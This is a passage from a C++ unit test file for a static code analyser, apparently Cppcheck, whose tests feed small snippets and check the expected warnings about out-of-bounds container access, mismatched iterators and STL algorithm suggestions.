f(std::vector v, bool b){\\n\"\n \" if (v.size() == 1)\\n\"\n \" if(v.at(b?42:0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:16]: warning: Either the condition 'v.size()==1' is redundant or size of 'v' can be 1. Expression 'v.at(b?42:0)' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:18]: note: condition 'v.size()==1'\\n\"\n \"[test.cpp:3:16]: note: Access out of bounds\\n\",\n errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" T t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s = { { &ArrS } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s = { { { &ArrS } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector> t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s = { { { { &ArrS } } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" T t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s { { &ArrS } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s { { { &ArrS } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector> t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s { { { { &ArrS } } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"extern void Bar(const double, const double);\\n\"\n \"void f(std::vector &r, const double ) {\\n\"\n \" std::vector result;\\n\"\n \" double d = 0.0;\\n\"\n \" const double inc = 0.1;\\n\"\n \" for(unsigned int i = 0; i < 10; ++i) {\\n\"\n \" result.push_back(d);\\n\"\n \" d = (i + 1) * inc;\\n\"\n \" }\\n\"\n \" Bar(1.0, d);\\n\"\n \" Bar(10U, result.size());\\n\"\n \" Bar(0.0, result[0]);\\n\"\n \" Bar(0.34, result[1]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries + 2)\\n\"\n \" v.resize(entries + 2);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries)\\n\"\n \" v.resize(entries);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:6]: error: Out of bounds access in expression 'v[0]' because 'v' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" if (entries < 2) return;\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries)\\n\"\n \" v.resize(entries);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" if (entries == 0) return;\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries)\\n\"\n \" v.resize(entries);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void foo(std::vector* PArr, int n) {\\n\"\n \" std::vector Arr;\\n\"\n \" if (!PArr)\\n\"\n \" PArr = &Arr;\\n\"\n \" PArr->resize(n);\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" (*PArr)[i] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector * pv = &v;\\n\"\n \" return (*pv).at(42);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: error: Out of bounds access in expression '(*pv).at(42)' because '*pv' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n checkNormal(\"std::string f(const char* DirName) {\\n\"\n \" if (DirName == nullptr)\\n\"\n \" return {};\\n\"\n \" std::string Name{ DirName };\\n\"\n \" if (!Name.empty() && Name.back() != '\\\\\\\\')\\n\"\n \" Name += '\\\\\\\\';\\n\"\n \" return Name;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"bool f(bool b) {\\n\"\n \" std::vector v;\\n\"\n \" if (b)\\n\"\n \" v.push_back(0);\\n\"\n \" for(auto i:v)\\n\"\n \" if (v[i] > 0)\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:3]: style: Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"std::vector range(int n);\\n\"\n \"bool f(bool b) {\\n\"\n \" std::vector v;\\n\"\n \" if (b)\\n\"\n \" v.push_back(1);\\n\"\n \" assert(range(v.size()).size() == v.size());\\n\"\n \" for(auto i:range(v.size()))\\n\"\n \" if (v[i] > 0)\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:3]: style: Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"bool g();\\n\"\n \"int f(int x) {\\n\"\n \" std::vector v;\\n\"\n \" if (g())\\n\"\n \" v.emplace_back(x);\\n\"\n \" const auto n = (int)v.size();\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (v[i] > 0)\\n\"\n \" return i;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:0]: style: Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"bool g();\\n\"\n \"int f(int x) {\\n\"\n \" std::vector v;\\n\"\n \" if (g())\\n\"\n \" v.emplace_back(x);\\n\"\n \" const auto n = static_cast(v.size());\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (v[i] > 0)\\n\"\n \" return i;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:0]: style: Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"bool g();\\n\"\n \"void f(int x) {\\n\"\n \" std::vector v;\\n\"\n \" if (g())\\n\"\n \" v.emplace_back(x);\\n\"\n \" const int n = v.size();\\n\"\n \" h(n);\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" h(v[i]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void foo(const std::vector &v) {\\n\"\n \" if(v.size() >=1 && v[0] == 4 && v[1] == 2){}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:38]: warning: Either the condition 'v.size()>=1' is redundant or size of 'v' can be 1. Expression 'v[1]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:17]: note: condition 'v.size()>=1'\\n\"\n \"[test.cpp:2:38]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"int f(int x, int y) {\\n\"\n \" std::vector a = {0,1,2};\\n\"\n \" if(x<2)\\n\"\n \" y = a[x] + 1;\\n\"\n \" else\\n\"\n \" y = a[x];\\n\"\n \" return y;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:6:14]: warning: Either the condition 'x<2' is redundant or 'x' can have the value greater or equal to 3. Expression 'a[x]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:9]: note: condition 'x<2'\\n\"\n \"[test.cpp:6:14]: note: Access out of bounds\\n\",\n errout_str());\n\n checkNormal(\"int f(std::vector v) {\\n\"\n \" if (v.size() > 3)\\n\"\n \" return v[v.size() - 3];\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" v[v.size() - 1];\\n\"\n \" if (v.size() == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(int n) {\\n\"\n \" std::vector v = {1, 2, 3, 4};\\n\"\n \" const int i = qMin(n, v.size());\\n\"\n \" if (i > 1)\\n\"\n \" v[i] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::vector& v, int i) {\\n\"\n \" if (i > -1) {\\n\"\n \" v.erase(v.begin() + i);\\n\"\n \" if (v.empty()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void g(const char *, ...) { exit(1); }\\n\" // #10025\n \"void f(const char c[]) {\\n\"\n \" std::vector v = get();\\n\"\n \" if (v.empty())\\n\"\n \" g(\\\"\\\", c[0]);\\n\"\n \" return h(&v[0], v.size()); \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(int i, std::vector v) {\\n\" // #9157\n \" if (i <= (int)v.size()) {\\n\"\n \" if (v[i]) {}\\n\"\n \" }\\n\"\n \" if (i <= static_cast(v.size())) {\\n\"\n \" if (v[i]) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: warning: Either the condition 'i<=(int)v.size()' is redundant or 'i' can have the value v.size(). Expression 'v[i]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:11]: note: condition 'i<=(int)v.size()'\\n\"\n \"[test.cpp:3:14]: note: Access out of bounds\\n\"\n \"[test.cpp:6:14]: warning: Either the condition 'i<=static_cast(v.size())' is redundant or 'i' can have the value v.size(). Expression 'v[i]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:5:11]: note: condition 'i<=static_cast(v.size())'\\n\"\n \"[test.cpp:6:14]: note: Access out of bounds\\n\",\n errout_str());\n\n check(\"template\\n\"\n \"void b(Iterator d) {\\n\"\n \" std::string c = \\\"a\\\";\\n\"\n \" d + c.length();\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" std::string buf;\\n\"\n \" b(buf.begin());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:5]: error: Out of bounds access in expression 'd+c.length()' because 'buf' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"template\\n\"\n \"void b(Iterator d) {\\n\"\n \" std::string c = \\\"a\\\";\\n\"\n \" sort(d, d + c.length());\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" std::string buf;\\n\"\n \" b(buf.begin());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector &v) {\\n\"\n \" return !v.empty() ? 42 : v.back();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:36]: warning: Either the condition 'v.empty()' is redundant or expression 'v.back()' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:20]: note: condition 'v.empty()'\\n\"\n \"[test.cpp:2:36]: note: Access out of bounds\\n\",\n errout_str());\n\n check(\"std::vector g() {\\n\" // #10779\n \" std::vector v(10);\\n\"\n \" for(int i = 0; i <= 10; ++i)\\n\"\n \" v[i] = 42;\\n\"\n \" return v;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: error: Out of bounds access in 'v[i]', if 'v' size is 10 and 'i' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int s = 2;\\n\"\n \" std::vector v(s);\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 2 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v({ 1, 2, 3 });\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char c[] = { 1, 2, 3 };\\n\"\n \" std::vector v(c, sizeof(c) + c);\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char c[] = { 1, 2, 3 };\\n\"\n \" std::vector v{ c, c + sizeof(c) };\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int i[] = { 1, 2, 3 };\\n\"\n \" std::vector v(i, i + sizeof(i) / 4);\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\" // #6615\n \" int i[] = { 1, 2, 3 };\\n\"\n \" std::vector v(i, i + sizeof(i) / sizeof(int));\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"test.cpp:4:error:Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100\\n\",\n \"\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::array a = {};\\n\"\n \" a[10];\\n\"\n \" constexpr std::array b = {};\\n\"\n \" b[10];\\n\"\n \" const std::array c = {};\\n\"\n \" c[10];\\n\"\n \" static constexpr std::array d = {};\\n\"\n \" d[10];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: error: Out of bounds access in 'a[10]', if 'a' size is 10 and '10' is 10 [containerOutOfBounds]\\n\"\n \"[test.cpp:5:6]: error: Out of bounds access in 'b[10]', if 'b' size is 10 and '10' is 10 [containerOutOfBounds]\\n\"\n \"[test.cpp:7:6]: error: Out of bounds access in 'c[10]', if 'c' size is 10 and '10' is 10 [containerOutOfBounds]\\n\"\n \"[test.cpp:9:6]: error: Out of bounds access in 'd[10]', if 'd' size is 10 and '10' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"struct test_fixed {\\n\"\n \" std::array array = {};\\n\"\n \" void index(int i) { array[i]; }\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" test_fixed x = test_fixed();\\n\"\n \" x.index(10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:30]: error: Out of bounds access in 'array[i]', if 'array' size is 10 and 'i' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"struct test_constexpr {\\n\"\n \" static constexpr std::array array = {};\\n\"\n \" void index(int i) { array[i]; }\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" test_constexpr x = test_constexpr();\\n\"\n \" x.index(10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:30]: error: Out of bounds access in 'array[i]', if 'array' size is 10 and 'i' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n checkNormal(\"struct A {\\n\"\n \" const std::vector& v;\\n\"\n \" A(const std::vector& x) : v(x)\\n\"\n \" {}\\n\"\n \" int f() const {\\n\"\n \" return v[0];\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct A {\\n\"\n \" static const std::vector v;\\n\"\n \" int f() const {\\n\"\n \" return v[0];\\n\"\n \" }\\n\"\n \"};\\n\"\n \"const std::vector A::v = {1, 2};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct a {\\n\"\n \" std::vector g() const;\\n\"\n \"};\\n\"\n \"int f(const a& b) {\\n\"\n \" auto c = b.g();\\n\"\n \" assert(not c.empty());\\n\"\n \" int d = c.front();\\n\"\n \" return d;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"std::string f() {\\n\"\n \" std::map m = { { 1, \\\"1\\\" } };\\n\"\n \" return m.at(1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct A {\\n\"\n \" virtual void init_v(std::vector *v) = 0;\\n\"\n \"};\\n\"\n \"A* create_a();\\n\"\n \"struct B {\\n\"\n \" B() : a(create_a()) {}\\n\"\n \" void init_v(std::vector *v) {\\n\"\n \" a->init_v(v);\\n\"\n \" }\\n\"\n \" A* a;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" B b;\\n\"\n \" std::vector v;\\n\"\n \" b.init_v(&v);\\n\"\n \" v[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::vector* v) {\\n\"\n \" if (v->empty())\\n\"\n \" v->push_back(1);\\n\"\n \" auto x = v->back();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"template \\n\"\n \"struct Foo {\\n\"\n \" std::array items = {0};\\n\"\n \" T maxCount = count;\\n\"\n \" explicit Foo(const T& maxValue = (std::numeric_limits::max)()) : maxCount(maxValue) {}\\n\"\n \" bool Set(const uint8_t idx) {\\n\"\n \" if (CheckBounds(idx) && items[idx] < maxCount) {\\n\"\n \" items[idx] += 1;\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" static bool CheckBounds(const uint8_t idx) { return idx < count; }\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" Foo x;\\n\"\n \" if (x.Set(42U)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct S { void g(std::span& r) const; };\\n\" // #11828\n \"int f(const S& s) {\\n\"\n \" std::span t;\\n\"\n \" s.g(t);\\n\"\n \" return t[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"char h() {\\n\"\n \" std::string s;\\n\"\n \" std::string_view sv(s);\\n\"\n \" return s[2];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: error: Out of bounds access in expression 's[2]' because 's' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\" // #12738\n \" std::vector v{ 0, 0.1 };\\n\"\n \" (void)v[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void outOfBoundsSymbolic()\n {\n check(\"void foo(std::string textline, int col) {\\n\"\n \" if(col > textline.size())\\n\"\n \" return false;\\n\"\n \" int x = textline[col];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12] -> [test.cpp:4:21]: (warning) Either the condition 'col>textline.size()' is redundant or 'col' can have the value textline.size(). Expression 'textline[col]' causes access out of bounds. [containerOutOfBounds]\\n\",\n errout_str());\n }\n\n void outOfBoundsIndexExpression() {\n setMultiline();\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[s.size()] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index 's.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[s.size()+1] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index 's.size()+1' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[1+s.size()] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index '1+s.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[x*s.size()] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index 'x*s.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"bool f(std::string_view& sv) {\\n\" // #10031\n \" return sv[sv.size()] == '\\\\0';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: error: Out of bounds access of sv, index 'sv.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n }\n void outOfBoundsIterator() {\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" auto it = v.begin();\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Out of bounds access in expression 'it' because 'v' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(0);\\n\"\n \" auto it = v.begin() + 1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (error) Out of bounds access in 'it', if 'v' size is 1 and 'it' is at position 1 from the beginning [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(0);\\n\"\n \" auto it = v.end() - 1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(0);\\n\"\n \" auto it = v.end() - 2;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (error) Out of bounds access in 'it', if 'v' size is 1 and 'it' is at position 2 from the end [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(std::vector x) {\\n\"\n \" std::map m;\\n\"\n \" if (!m.empty()) {\\n\"\n \" g(m.begin()->second);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector vec;\\n\"\n \" std::vector::iterator it = vec.begin();\\n\"\n \" *it = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Out of bounds access in expression 'it' because 'vec' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector vec;\\n\"\n \" auto it = vec.begin();\\n\"\n \" *it = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Out of bounds access in expression 'it' because 'vec' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n }\n\n void iterator1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" for (std::list::iterator it = l1.begin(); it != l2.end(); ++it)\\n\"\n \" { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:40]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" for (std::list::iterator it = l1.begin(); l2.end() != it; ++it)\\n\"\n \" { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:52]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"struct C { std::list l1; void func(); };\\n\"\n \"void C::func() {\\n\"\n \" std::list::iterator it;\\n\"\n \" for (it = l1.begin(); it != l1.end(); ++it) { }\\n\"\n \" C c;\\n\"\n \" for (it = c.l1.begin(); it != c.l1.end(); ++it) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Same check with reverse iterator\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" for (std::list::const_reverse_iterator it = l1.rbegin(); it != l2.rend(); ++it)\\n\"\n \" { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:54]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator2() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" while (it != l2.end())\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:35]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" while (l2.end() != it)\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:12]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator3() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it, 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Same iterator is used with different containers 'l1' and 'l2'. [iterators1]\\n\"\n \"[test.cpp:6:5]: (error) Iterator 'it' referring to container 'l1' is used with container 'l2'. [mismatchingContainerIterator]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #5803\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it, l1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\" // #7658\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" std::list::iterator end = l1.end();\\n\"\n \" l2.insert(it, end);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // only warn for insert when there are preciself 2 arguments.\n check(\"void foo() {\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo() {\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it,0,1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void iterator4() {\n check(\"void foo(std::vector &test)\\n\"\n \"{\\n\"\n \" std::set result;\\n\"\n \" for (std::vector::const_iterator cit = test.begin();\\n\"\n \" cit != test.end();\\n\"\n \" ++cit)\\n\"\n \" {\\n\"\n \" result.insert(cit->size());\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator5() {\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find(ints1.begin(), ints2.end(), 22);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:47]: (error) Iterators of different containers 'ints1' and 'ints2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator6() {\n // Ticket #1357\n check(\"void foo(const std::set &ints1)\\n\"\n \"{\\n\"\n \" std::set ints2;\\n\"\n \" std::set::iterator it1 = 